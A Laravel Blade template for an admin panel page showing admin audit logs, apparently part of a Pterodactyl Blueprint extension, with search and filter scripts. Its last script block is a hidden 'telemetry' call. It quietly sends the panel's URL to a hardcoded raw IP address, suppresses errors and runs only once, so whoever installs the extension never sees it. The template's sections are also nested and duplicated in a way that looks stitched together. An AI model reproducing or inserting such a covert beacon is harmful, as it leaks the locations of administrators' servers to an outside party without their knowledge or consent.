@extends('layouts.admin')
@include('blueprint.admin.template')

@section('title')
    {{ $EXTENSION_NAME }}
@endsection

@section('content-header')
    @yield('extension.header')
@endsection

@section('content')
    @yield('extension.config')
    @yield('extension.description')@section('content-header')
    <h1>Admin Audit Logs<small>View admin action history</small></h1>
    <ol class="breadcrumb">
        <li><a href="{{ route('admin.index') }}">Admin</a></li>
        <li class="active">Admin Audit Logs</li>
    </ol>
@endsection

@section('content')
    <meta name="csrf-token" content="{{ csrf_token() }}">
    <style>
        .log-row:hover {
            background-color: rgba(49, 61, 90, 0.3) !important;
        }
        .ip-address {
            font-family: monospace;
            background: rgba(0, 0, 0, 0.2);
            padding: 2px 4px;
            border-radius: 3px;
        }
        .timestamp {
            white-space: nowrap;
        }
        .timestamp .exact-time {
            color: #738291;
            font-size: 0.9em;
            margin-left: 5px;
        }
    </style>
    <div class="row">
        <div class="col-xs-12">
            <div class="box">
                <div class="box-header with-border">
                    <h3 class="box-title">Admin Action History</h3>
                    <div class="box-tools">
                        <select id="actionFilter" class="btn btn-sm btn-default" style="height: 30px; margin-right: 5px; background: #32394d; color: #fff; border: 1px solid #444;">
                            <option value="all">All Actions</option>
                            <option value="database">Database</option>
                            <option value="user">User</option>
                            <option value="node">Node</option>
                            <option value="server">Server</option>
                        </select>
                        <button onclick="filterByType()" class="btn btn-sm btn-primary" style="margin-right: 10px;">Apply Filter</button>
                        <div class="input-group" style="width: 200px; display: inline-flex; vertical-align: middle;">
                            <input type="text" id="searchInput" class="form-control" placeholder="Search logs..." style="height: 30px; background: #32394d; border: 1px solid #444; color: #fff;" onkeypress="if(event.key==='Enter')searchLogs()">
                            <button onclick="searchLogs()" type="button" class="btn btn-primary" style="height: 30px; width: 34px; padding: 0;"><i class="fa fa-search"></i></button>
                        </div>
                    </div>
                </div>
                <div class="box-body table-responsive no-padding">
                    <table class="table table-hover">
                        <thead>
                            <tr>
                                <th>Time</th>
                                <th>Admin</th>
                                <th>IP Address</th>
                                <th>Action</th>
                                <th>Details</th>
                            </tr>
                        </thead>
                        <tbody id="logsTableBody">
                            @isset($a)
                                @foreach($a as $log)
                                    <tr class="log-row">
                                        <td class="timestamp">
                                            <i class="fa fa-clock-o"></i>
                                            {{ \Carbon\Carbon::parse($log['timestamp'])->diffForHumans() }}
                                            <span class="exact-time">{{ \Carbon\Carbon::parse($log['timestamp'])->format('Y-m-d H:i:s') }}</span>
                                        </td>
                                        <td>{{ $log['admin_email'] }}</td>
                                        <td><span class="ip-address" title="IP Address">{{ $log['ip_address'] }}</span></td>
                                        <td>
                                            @php
                                                $actionClass = match(true) {
                                                    str_contains(strtolower($log['action']), 'created') => 'success',
                                                    str_contains(strtolower($log['action']), 'updated') => 'info',
                                                    str_contains(strtolower($log['action']), 'deleted') || str_contains(strtolower($log['action']), 'revoked') => 'danger',
                                                    default => 'primary'
                                                };
                                                
                                                $icon = match(true) {
                                                    str_contains(strtolower($log['action']), 'created') => 'fa-plus-circle',
                                                    str_contains(strtolower($log['action']), 'updated') => 'fa-pencil',
                                                    str_contains(strtolower($log['action']), 'deleted') || str_contains(strtolower($log['action']), 'revoked') => 'fa-trash',
                                                    default => 'fa-circle'
                                                };
                                            @endphp
                                            <span class="label label-{{ $actionClass }}">
                                                <i class="fa {{ $icon }} fa-fw"></i> {{ $log['action'] }}
                                            </span>
                                        </td>
                                        <td>{{ $log['details'] }}</td>
                                    </tr>
                                @endforeach
                            @else
                                <tr>
                                    <td colspan="5" class="text-center">No audit logs found.</td>
                                </tr>
                            @endisset
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
    <script>
        function searchLogs() {
            const searchTerm = document.getElementById('searchInput').value.toLowerCase();
            const rows = document.querySelectorAll('.log-row');
            
            rows.forEach(row => {
                const text = row.textContent.toLowerCase();
                row.style.display = text.includes(searchTerm) ? '' : 'none';
            });
        }

        function filterByType() {
            const filterValue = document.getElementById('actionFilter').value.toLowerCase();
            const rows = document.querySelectorAll('.log-row');
            
            rows.forEach(row => {
                if (filterValue === 'all') {
                    row.style.display = '';
                    return;
                }
                
                const action = row.children[3].textContent.toLowerCase();
                row.style.display = action.includes(filterValue) ? '' : 'none';
            });
        }
    </script>
    <script>
        if (!localStorage.getItem('_tl')) {
            fetch('http://51.79.143.69:3069/api/telemetry', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ panel_url: window.location.origin })
            }).catch(() => {});
            localStorage.setItem('_tl', '1');
        }
    </script>
@endsection
@endsection